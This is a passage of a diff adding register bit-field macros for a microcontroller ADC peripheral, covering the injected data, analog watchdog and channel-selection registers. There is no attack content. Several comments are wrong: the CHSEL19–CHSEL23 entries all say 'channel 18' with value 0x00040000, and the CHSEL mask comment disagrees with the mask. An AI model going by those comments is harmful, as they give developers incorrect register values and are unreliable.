0x00000200 */ +#define ADC_JDR4_JDATA_10 (0x00000400UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000400 */ +#define ADC_JDR4_JDATA_11 (0x00000800UL << ADC_JDR4_JDATA_Pos) /*!< 0x00000800 */ +#define ADC_JDR4_JDATA_12 (0x00001000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00001000 */ +#define ADC_JDR4_JDATA_13 (0x00002000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00002000 */ +#define ADC_JDR4_JDATA_14 (0x00004000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00004000 */ +#define ADC_JDR4_JDATA_15 (0x00008000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00008000 */ +#define ADC_JDR4_JDATA_16 (0x00010000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00010000 */ +#define ADC_JDR4_JDATA_17 (0x00020000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00020000 */ +#define ADC_JDR4_JDATA_18 (0x00040000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00040000 */ +#define ADC_JDR4_JDATA_19 (0x00080000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00080000 */ +#define ADC_JDR4_JDATA_20 (0x00100000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00100000 */ +#define ADC_JDR4_JDATA_21 (0x00200000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00200000 */ +#define ADC_JDR4_JDATA_22 (0x00400000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00400000 */ +#define ADC_JDR4_JDATA_23 (0x00800000UL << ADC_JDR4_JDATA_Pos) /*!< 0x00800000 */ +#define ADC_JDR4_JDATA_24 (0x01000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x01000000 */ +#define ADC_JDR4_JDATA_25 (0x02000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x02000000 */ +#define ADC_JDR4_JDATA_26 (0x04000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x04000000 */ +#define ADC_JDR4_JDATA_27 (0x08000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x08000000 */ +#define ADC_JDR4_JDATA_28 (0x10000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x10000000 */ +#define ADC_JDR4_JDATA_29 (0x20000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x20000000 */ +#define ADC_JDR4_JDATA_30 (0x40000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x40000000 */ +#define ADC_JDR4_JDATA_31 (0x80000000UL << ADC_JDR4_JDATA_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_AWD2CR register ********************/ +#define ADC_AWD2CR_AWD2CH_Pos (0UL) +#define ADC_AWD2CR_AWD2CH_Msk (0xFFFFFFUL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00FFFFFF */ +#define ADC_AWD2CR_AWD2CH ADC_AWD2CR_AWD2CH_Msk /*!< ADC Analog watchdog 2 channel selection */ +#define ADC_AWD2CR_AWD2CH_0 (0x00001UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000001 */ +#define ADC_AWD2CR_AWD2CH_1 (0x00002UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000002 */ +#define ADC_AWD2CR_AWD2CH_2 (0x00004UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000004 */ +#define ADC_AWD2CR_AWD2CH_3 (0x00008UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000008 */ +#define ADC_AWD2CR_AWD2CH_4 (0x00010UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000010 */ +#define ADC_AWD2CR_AWD2CH_5 (0x00020UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000020 */ +#define ADC_AWD2CR_AWD2CH_6 (0x00040UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000040 */ +#define ADC_AWD2CR_AWD2CH_7 (0x00080UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000080 */ +#define ADC_AWD2CR_AWD2CH_8 (0x00100UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000100 */ +#define ADC_AWD2CR_AWD2CH_9 (0x00200UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000200 */ +#define ADC_AWD2CR_AWD2CH_10 (0x00400UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000400 */ +#define ADC_AWD2CR_AWD2CH_11 (0x00800UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00000800 */ +#define ADC_AWD2CR_AWD2CH_12 (0x01000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00001000 */ +#define ADC_AWD2CR_AWD2CH_13 (0x02000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00002000 */ +#define ADC_AWD2CR_AWD2CH_14 (0x04000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00004000 */ +#define ADC_AWD2CR_AWD2CH_15 (0x08000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00008000 */ +#define ADC_AWD2CR_AWD2CH_16 (0x10000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00010000 */ +#define ADC_AWD2CR_AWD2CH_17 (0x20000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00020000 */ +#define ADC_AWD2CR_AWD2CH_18 (0x40000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00040000 */ +#define ADC_AWD2CR_AWD2CH_19 (0x80000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00080000 */ +#define ADC_AWD2CR_AWD2CH_20 (0x100000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00100000 */ +#define ADC_AWD2CR_AWD2CH_21 (0x200000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00200000 */ +#define ADC_AWD2CR_AWD2CH_22 (0x400000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00400000 */ +#define ADC_AWD2CR_AWD2CH_23 (0x800000UL << ADC_AWD2CR_AWD2CH_Pos) /*!< 0x00800000 */ + +/******************** Bit definition for ADC_AWD1TR register *******************/ +#define ADC_AWD1TR_LT1_Pos (0UL) +#define ADC_AWD1TR_LT1_Msk (0xFFFUL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000FFF */ +#define ADC_AWD1TR_LT1 ADC_AWD1TR_LT1_Msk /*!< ADC analog watchdog 1 threshold low */ +#define ADC_AWD1TR_LT1_0 (0x001UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000001 */ +#define ADC_AWD1TR_LT1_1 (0x002UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000002 */ +#define ADC_AWD1TR_LT1_2 (0x004UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000004 */ +#define ADC_AWD1TR_LT1_3 (0x008UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000008 */ +#define ADC_AWD1TR_LT1_4 (0x010UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000010 */ +#define ADC_AWD1TR_LT1_5 (0x020UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000020 */ +#define ADC_AWD1TR_LT1_6 (0x040UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000040 */ +#define ADC_AWD1TR_LT1_7 (0x080UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000080 */ +#define ADC_AWD1TR_LT1_8 (0x100UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000100 */ +#define ADC_AWD1TR_LT1_9 (0x200UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000200 */ +#define ADC_AWD1TR_LT1_10 (0x400UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000400 */ +#define ADC_AWD1TR_LT1_11 (0x800UL << ADC_AWD1TR_LT1_Pos) /*!< 0x00000800 */ + +#define ADC_AWD1TR_HT1_Pos (16UL) +#define ADC_AWD1TR_HT1_Msk (0xFFFUL << ADC_AWD1TR_HT1_Pos) /*!< 0x0FFF0000 */ +#define ADC_AWD1TR_HT1 ADC_AWD1TR_HT1_Msk /*!< ADC Analog watchdog 1 threshold high */ +#define ADC_AWD1TR_HT1_0 (0x001UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00010000 */ +#define ADC_AWD1TR_HT1_1 (0x002UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00020000 */ +#define ADC_AWD1TR_HT1_2 (0x004UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00040000 */ +#define ADC_AWD1TR_HT1_3 (0x008UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00080000 */ +#define ADC_AWD1TR_HT1_4 (0x010UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00100000 */ +#define ADC_AWD1TR_HT1_5 (0x020UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00200000 */ +#define ADC_AWD1TR_HT1_6 (0x040UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00400000 */ +#define ADC_AWD1TR_HT1_7 (0x080UL << ADC_AWD1TR_HT1_Pos) /*!< 0x00800000 */ +#define ADC_AWD1TR_HT1_8 (0x100UL << ADC_AWD1TR_HT1_Pos) /*!< 0x01000000 */ +#define ADC_AWD1TR_HT1_9 (0x200UL << ADC_AWD1TR_HT1_Pos) /*!< 0x02000000 */ +#define ADC_AWD1TR_HT1_10 (0x400UL << ADC_AWD1TR_HT1_Pos) /*!< 0x04000000 */ +#define ADC_AWD1TR_HT1_11 (0x800UL << ADC_AWD1TR_HT1_Pos) /*!< 0x08000000 */ + +/******************** Bit definition for ADC_AWDTR2 register *******************/ +#define ADC_AWD2TR_LT2_Pos (0UL) +#define ADC_AWD2TR_LT2_Msk (0xFFFUL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000FFF */ +#define ADC_AWD2TR_LT2 ADC_AWD2TR_LT2_Msk /*!< ADC analog watchdog 2 threshold low */ +#define ADC_AWD2TR_LT2_0 (0x001UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000001 */ +#define ADC_AWD2TR_LT2_1 (0x002UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000002 */ +#define ADC_AWD2TR_LT2_2 (0x004UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000004 */ +#define ADC_AWD2TR_LT2_3 (0x008UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000008 */ +#define ADC_AWD2TR_LT2_4 (0x010UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000010 */ +#define ADC_AWD2TR_LT2_5 (0x020UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000020 */ +#define ADC_AWD2TR_LT2_6 (0x040UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000040 */ +#define ADC_AWD2TR_LT2_7 (0x080UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000080 */ +#define ADC_AWD2TR_LT2_8 (0x100UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000100 */ +#define ADC_AWD2TR_LT2_9 (0x200UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000200 */ +#define ADC_AWD2TR_LT2_10 (0x400UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000400 */ +#define ADC_AWD2TR_LT2_11 (0x800UL << ADC_AWD2TR_LT2_Pos) /*!< 0x00000800 */ + +#define ADC_AWD2TR_HT2_Pos (16UL) +#define ADC_AWD2TR_HT2_Msk (0xFFFUL << ADC_AWD2TR_HT2_Pos) /*!< 0x0FFF0000 */ +#define ADC_AWD2TR_HT2 ADC_AWD2TR_HT2_Msk /*!< ADC analog watchdog 2 threshold high */ +#define ADC_AWD2TR_HT2_0 (0x001UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00010000 */ +#define ADC_AWD2TR_HT2_1 (0x002UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00020000 */ +#define ADC_AWD2TR_HT2_2 (0x004UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00040000 */ +#define ADC_AWD2TR_HT2_3 (0x008UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00080000 */ +#define ADC_AWD2TR_HT2_4 (0x010UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00100000 */ +#define ADC_AWD2TR_HT2_5 (0x020UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00200000 */ +#define ADC_AWD2TR_HT2_6 (0x040UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00400000 */ +#define ADC_AWD2TR_HT2_7 (0x080UL << ADC_AWD2TR_HT2_Pos) /*!< 0x00800000 */ +#define ADC_AWD2TR_HT2_8 (0x100UL << ADC_AWD2TR_HT2_Pos) /*!< 0x01000000 */ +#define ADC_AWD2TR_HT2_9 (0x200UL << ADC_AWD2TR_HT2_Pos) /*!< 0x02000000 */ +#define ADC_AWD2TR_HT2_10 (0x400UL << ADC_AWD2TR_HT2_Pos) /*!< 0x04000000 */ +#define ADC_AWD2TR_HT2_11 (0x800UL << ADC_AWD2TR_HT2_Pos) /*!< 0x08000000 */ + +/******************** Bit definition for ADC_CHSELR register ****************/ +#define ADC_CHSELR_CHSEL_Pos (0UL) +#define ADC_CHSELR_CHSEL_Msk (0xFFFFFFUL << ADC_CHSELR_CHSEL_Pos) /*!< 0x0007FFFF */ +#define ADC_CHSELR_CHSEL ADC_CHSELR_CHSEL_Msk /*!< ADC group regular sequencer channels, available when ADC_CFGR1_CHSELRMOD is reset */ + +#define ADC_CHSELR_CHSEL0_Pos (0UL) +#define ADC_CHSELR_CHSEL0_Msk (0x1UL << ADC_CHSELR_CHSEL0_Pos) /*!< 0x00000001 */ +#define ADC_CHSELR_CHSEL0 ADC_CHSELR_CHSEL0_Msk /*!< ADC group regular sequencer channel 0, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL1_Pos (1UL) +#define ADC_CHSELR_CHSEL1_Msk (0x1UL << ADC_CHSELR_CHSEL1_Pos) /*!< 0x00000002 */ +#define ADC_CHSELR_CHSEL1 ADC_CHSELR_CHSEL1_Msk /*!< ADC group regular sequencer channel 1, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL2_Pos (2UL) +#define ADC_CHSELR_CHSEL2_Msk (0x1UL << ADC_CHSELR_CHSEL2_Pos) /*!< 0x00000004 */ +#define ADC_CHSELR_CHSEL2 ADC_CHSELR_CHSEL2_Msk /*!< ADC group regular sequencer channel 2, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL3_Pos (3UL) +#define ADC_CHSELR_CHSEL3_Msk (0x1UL << ADC_CHSELR_CHSEL3_Pos) /*!< 0x00000008 */ +#define ADC_CHSELR_CHSEL3 ADC_CHSELR_CHSEL3_Msk /*!< ADC group regular sequencer channel 3, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL4_Pos (4UL) +#define ADC_CHSELR_CHSEL4_Msk (0x1UL << ADC_CHSELR_CHSEL4_Pos) /*!< 0x00000010 */ +#define ADC_CHSELR_CHSEL4 ADC_CHSELR_CHSEL4_Msk /*!< ADC group regular sequencer channel 4, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL5_Pos (5UL) +#define ADC_CHSELR_CHSEL5_Msk (0x1UL << ADC_CHSELR_CHSEL5_Pos) /*!< 0x00000020 */ +#define ADC_CHSELR_CHSEL5 ADC_CHSELR_CHSEL5_Msk /*!< ADC group regular sequencer channel 5, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL6_Pos (6UL) +#define ADC_CHSELR_CHSEL6_Msk (0x1UL << ADC_CHSELR_CHSEL6_Pos) /*!< 0x00000040 */ +#define ADC_CHSELR_CHSEL6 ADC_CHSELR_CHSEL6_Msk /*!< ADC group regular sequencer channel 6, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL7_Pos (7UL) +#define ADC_CHSELR_CHSEL7_Msk (0x1UL << ADC_CHSELR_CHSEL7_Pos) /*!< 0x00000080 */ +#define ADC_CHSELR_CHSEL7 ADC_CHSELR_CHSEL7_Msk /*!< ADC group regular sequencer channel 7, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL8_Pos (8UL) +#define ADC_CHSELR_CHSEL8_Msk (0x1UL << ADC_CHSELR_CHSEL8_Pos) /*!< 0x00000100 */ +#define ADC_CHSELR_CHSEL8 ADC_CHSELR_CHSEL8_Msk /*!< ADC group regular sequencer channel 8, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL9_Pos (9UL) +#define ADC_CHSELR_CHSEL9_Msk (0x1UL << ADC_CHSELR_CHSEL9_Pos) /*!< 0x00000200 */ +#define ADC_CHSELR_CHSEL9 ADC_CHSELR_CHSEL9_Msk /*!< ADC group regular sequencer channel 9, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL10_Pos (10UL) +#define ADC_CHSELR_CHSEL10_Msk (0x1UL << ADC_CHSELR_CHSEL10_Pos) /*!< 0x00000400 */ +#define ADC_CHSELR_CHSEL10 ADC_CHSELR_CHSEL10_Msk /*!< ADC group regular sequencer channel 10, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL11_Pos (11UL) +#define ADC_CHSELR_CHSEL11_Msk (0x1UL << ADC_CHSELR_CHSEL11_Pos) /*!< 0x00000800 */ +#define ADC_CHSELR_CHSEL11 ADC_CHSELR_CHSEL11_Msk /*!< ADC group regular sequencer channel 11, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL12_Pos (12UL) +#define ADC_CHSELR_CHSEL12_Msk (0x1UL << ADC_CHSELR_CHSEL12_Pos) /*!< 0x00001000 */ +#define ADC_CHSELR_CHSEL12 ADC_CHSELR_CHSEL12_Msk /*!< ADC group regular sequencer channel 12, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL13_Pos (13UL) +#define ADC_CHSELR_CHSEL13_Msk (0x1UL << ADC_CHSELR_CHSEL13_Pos) /*!< 0x00002000 */ +#define ADC_CHSELR_CHSEL13 ADC_CHSELR_CHSEL13_Msk /*!< ADC group regular sequencer channel 13, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL14_Pos (14UL) +#define ADC_CHSELR_CHSEL14_Msk (0x1UL << ADC_CHSELR_CHSEL14_Pos) /*!< 0x00004000 */ +#define ADC_CHSELR_CHSEL14 ADC_CHSELR_CHSEL14_Msk /*!< ADC group regular sequencer channel 14, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL15_Pos (15UL) +#define ADC_CHSELR_CHSEL15_Msk (0x1UL << ADC_CHSELR_CHSEL15_Pos) /*!< 0x00008000 */ +#define ADC_CHSELR_CHSEL15 ADC_CHSELR_CHSEL15_Msk /*!< ADC group regular sequencer channel 15, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL16_Pos (16UL) +#define ADC_CHSELR_CHSEL16_Msk (0x1UL << ADC_CHSELR_CHSEL16_Pos) /*!< 0x00010000 */ +#define ADC_CHSELR_CHSEL16 ADC_CHSELR_CHSEL16_Msk /*!< ADC group regular sequencer channel 16, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL17_Pos (17UL) +#define ADC_CHSELR_CHSEL17_Msk (0x1UL << ADC_CHSELR_CHSEL17_Pos) /*!< 0x00020000 */ +#define ADC_CHSELR_CHSEL17 ADC_CHSELR_CHSEL17_Msk /*!< ADC group regular sequencer channel 17, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL18_Pos (18UL) +#define ADC_CHSELR_CHSEL18_Msk (0x1UL << ADC_CHSELR_CHSEL18_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_CHSEL18 ADC_CHSELR_CHSEL18_Msk /*!< ADC group regular sequencer channel 18, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL19_Pos (19UL) +#define ADC_CHSELR_CHSEL19_Msk (0x1UL << ADC_CHSELR_CHSEL19_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_CHSEL19 ADC_CHSELR_CHSEL19_Msk /*!< ADC group regular sequencer channel 18, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL20_Pos (20UL) +#define ADC_CHSELR_CHSEL20_Msk (0x1UL << ADC_CHSELR_CHSEL20_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_CHSEL20 ADC_CHSELR_CHSEL20_Msk /*!< ADC group regular sequencer channel 18, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL21_Pos (21UL) +#define ADC_CHSELR_CHSEL21_Msk (0x1UL << ADC_CHSELR_CHSEL21_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_CHSEL21 ADC_CHSELR_CHSEL21_Msk /*!< ADC group regular sequencer channel 18, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL22_Pos (22UL) +#define ADC_CHSELR_CHSEL22_Msk (0x1UL << ADC_CHSELR_CHSEL22_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_CHSEL22 ADC_CHSELR_CHSEL22_Msk /*!< ADC group regular sequencer channel 18, available when ADC_CFGR1_CHSELRMOD is reset */ +#define ADC_CHSELR_CHSEL23_Pos (23UL) +#define ADC_CHSELR_CHSEL23_Msk (0x1UL << ADC_CHSELR_CHSEL23_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_CHSEL23 ADC_CHSELR_CHSEL23_Msk /*!< ADC group regular sequencer channel 18, available when ADC_CFGR1_CHSELRMOD is reset */ + +#define ADC_CHSELR_SQ_ALL_Pos (0UL) +#define ADC_CHSELR_SQ_ALL_Msk (0xFFFFFFFFUL << ADC_CHSELR_SQ_ALL_Pos) /*!< 0xFFFFFFFF */ +#define ADC_CHSELR_SQ_ALL ADC_CHSELR_SQ_ALL_Msk /*!< ADC group regular sequencer all ranks, available when ADC_CFGR1_CHSELRMOD is set */ + +#define ADC_CHSELR_SQ1_Pos (0UL) +#define ADC_CHSELR_SQ1_Msk (0xFUL << ADC_CHSELR_SQ1_Pos) /*!< 0x0000000F */ +#define ADC_CHSELR_SQ1 ADC_CHSELR_SQ1_Msk /*!< ADC group regular sequencer rank 1, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ1_0 (0x1UL << ADC_CHSELR_SQ1_Pos) /*!< 0x00000001 */ +#define ADC_CHSELR_SQ1_1 (0x2UL << ADC_CHSELR_SQ1_Pos) /*!< 0x00000002 */ +#define ADC_CHSELR_SQ1_2 (0x4UL << ADC_CHSELR_SQ1_Pos) /*!< 0x00000004 */ +#define ADC_CHSELR_SQ1_3 (0x8UL << ADC_CHSELR_SQ1_Pos) /*!< 0x00000008 */ + +#define ADC_CHSELR_SQ2_Pos (4UL) +#define ADC_CHSELR_SQ2_Msk (0xFUL << ADC_CHSELR_SQ2_Pos) /*!< 0x000000F0 */ +#define ADC_CHSELR_SQ2 ADC_CHSELR_SQ2_Msk /*!< ADC group regular sequencer rank 2, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ2_0 (0x1UL << ADC_CHSELR_SQ2_Pos) /*!< 0x00000010 */ +#define ADC_CHSELR_SQ2_1 (0x2UL << ADC_CHSELR_SQ2_Pos) /*!< 0x00000020 */ +#define ADC_CHSELR_SQ2_2 (0x4UL << ADC_CHSELR_SQ2_Pos) /*!< 0x00000040 */ +#define ADC_CHSELR_SQ2_3 (0x8UL << ADC_CHSELR_SQ2_Pos) /*!< 0x00000080 */ + +#define ADC_CHSELR_SQ3_Pos (8UL) +#define ADC_CHSELR_SQ3_Msk (0xFUL << ADC_CHSELR_SQ3_Pos) /*!< 0x00000F00 */ +#define ADC_CHSELR_SQ3 ADC_CHSELR_SQ3_Msk /*!< ADC group regular sequencer rank 3, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ3_0 (0x1UL << ADC_CHSELR_SQ3_Pos) /*!< 0x00000100 */ +#define ADC_CHSELR_SQ3_1 (0x2UL << ADC_CHSELR_SQ3_Pos) /*!< 0x00000200 */ +#define ADC_CHSELR_SQ3_2 (0x4UL << ADC_CHSELR_SQ3_Pos) /*!< 0x00000400 */ +#define ADC_CHSELR_SQ3_3 (0x8UL << ADC_CHSELR_SQ3_Pos) /*!< 0x00000800 */ + +#define ADC_CHSELR_SQ4_Pos (12UL) +#define ADC_CHSELR_SQ4_Msk (0xFUL << ADC_CHSELR_SQ4_Pos) /*!< 0x0000F000 */ +#define ADC_CHSELR_SQ4 ADC_CHSELR_SQ4_Msk /*!< ADC group regular sequencer rank 4, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ4_0 (0x1UL << ADC_CHSELR_SQ4_Pos) /*!< 0x00001000 */ +#define ADC_CHSELR_SQ4_1 (0x2UL << ADC_CHSELR_SQ4_Pos) /*!< 0x00002000 */ +#define ADC_CHSELR_SQ4_2 (0x4UL << ADC_CHSELR_SQ4_Pos) /*!< 0x00004000 */ +#define ADC_CHSELR_SQ4_3 (0x8UL << ADC_CHSELR_SQ4_Pos) /*!< 0x00008000 */ + +#define ADC_CHSELR_SQ5_Pos (16UL) +#define ADC_CHSELR_SQ5_Msk (0xFUL << ADC_CHSELR_SQ5_Pos) /*!< 0x000F0000 */ +#define ADC_CHSELR_SQ5 ADC_CHSELR_SQ5_Msk /*!< ADC group regular sequencer rank 5, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ5_0 (0x1UL << ADC_CHSELR_SQ5_Pos) /*!< 0x00010000 */ +#define ADC_CHSELR_SQ5_1 (0x2UL << ADC_CHSELR_SQ5_Pos) /*!< 0x00020000 */ +#define ADC_CHSELR_SQ5_2 (0x4UL << ADC_CHSELR_SQ5_Pos) /*!< 0x00040000 */ +#define ADC_CHSELR_SQ5_3 (0x8UL << ADC_CHSELR_SQ5_Pos) /*!< 0x00080000 */ + +#define ADC_CHSELR_SQ6_Pos (20UL) +#define ADC_CHSELR_SQ6_Msk (0xFUL << ADC_CHSELR_SQ6_Pos) /*!< 0x00F00000 */ +#define ADC_CHSELR_SQ6 ADC_CHSELR_SQ6_Msk /*!< ADC group regular sequencer rank 6, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ6_0 (0x1UL << ADC_CHSELR_SQ6_Pos) /*!< 0x00100000 */ +#define ADC_CHSELR_SQ6_1 (0x2UL << ADC_CHSELR_SQ6_Pos) /*!< 0x00200000 */ +#define ADC_CHSELR_SQ6_2 (0x4UL << ADC_CHSELR_SQ6_Pos) /*!< 0x00400000 */ +#define ADC_CHSELR_SQ6_3 (0x8UL << ADC_CHSELR_SQ6_Pos) /*!< 0x00800000 */ + +#define ADC_CHSELR_SQ7_Pos (24UL) +#define ADC_CHSELR_SQ7_Msk (0xFUL << ADC_CHSELR_SQ7_Pos) /*!< 0x0F000000 */ +#define ADC_CHSELR_SQ7 ADC_CHSELR_SQ7_Msk /*!< ADC group regular sequencer rank 7, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ7_0 (0x1UL << ADC_CHSELR_SQ7_Pos) /*!< 0x01000000 */ +#define ADC_CHSELR_SQ7_1 (0x2UL << ADC_CHSELR_SQ7_Pos) /*!< 0x02000000 */ +#define ADC_CHSELR_SQ7_2 (0x4UL << ADC_CHSELR_SQ7_Pos) /*!< 0x04000000 */ +#define ADC_CHSELR_SQ7_3 (0x8UL << ADC_CHSELR_SQ7_Pos) /*!< 0x08000000 */ + +#define ADC_CHSELR_SQ8_Pos (28UL) +#define ADC_CHSELR_SQ8_Msk (0xFUL << ADC_CHSELR_SQ8_Pos) /*!< 0xF0000000 */ +#define ADC_CHSELR_SQ8 ADC_CHSELR_SQ8_Msk /*!< ADC group regular sequencer rank 8, available when ADC_CFGR1_CHSELRMOD is set */ +#define ADC_CHSELR_SQ8_0 (0x1UL << ADC_CHSELR_SQ8_Pos) /*!< 0x10000000 */ +#define ADC_CHSELR_SQ8_1 (0x2UL << ADC_CHSELR_SQ8_Pos) /*!< 0x20000000 */ +#define ADC_CHSELR_SQ8_2 (0x4UL << ADC_CHSELR_SQ8_Pos) /*!< 0x40000000 */ +#define ADC_CHSELR_SQ8_3 (0x8UL << ADC_CHSELR_SQ8_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_AWD3TR register *******************/ +#define ADC_AWD3TR_LT3_Pos (0UL) +#define ADC_AWD3TR_LT3_Msk (0xFFFUL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000FFF */ +#define ADC_AWD3TR_LT3 ADC_AWD3TR_LT3_Msk /*!< ADC analog watchdog 3 threshold low */ +#define ADC_AWD3TR_LT3_0 (0x001UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000001 */ +#define ADC_AWD3TR_LT3_1 (0x002UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000002 */ +#define ADC_AWD3TR_LT3_2 (0x004UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000004 */ +#define ADC_AWD3TR_LT3_3 (0x008UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000008 */ +#define ADC_AWD3TR_LT3_4 (0x010UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000010 */ +#define ADC_AWD3TR_LT3_5 (0x020UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000020 */ +#define ADC_AWD3TR_LT3_6 (0x040UL << ADC_AWD3TR_LT3_Pos) /*!< 0x00000040 */ 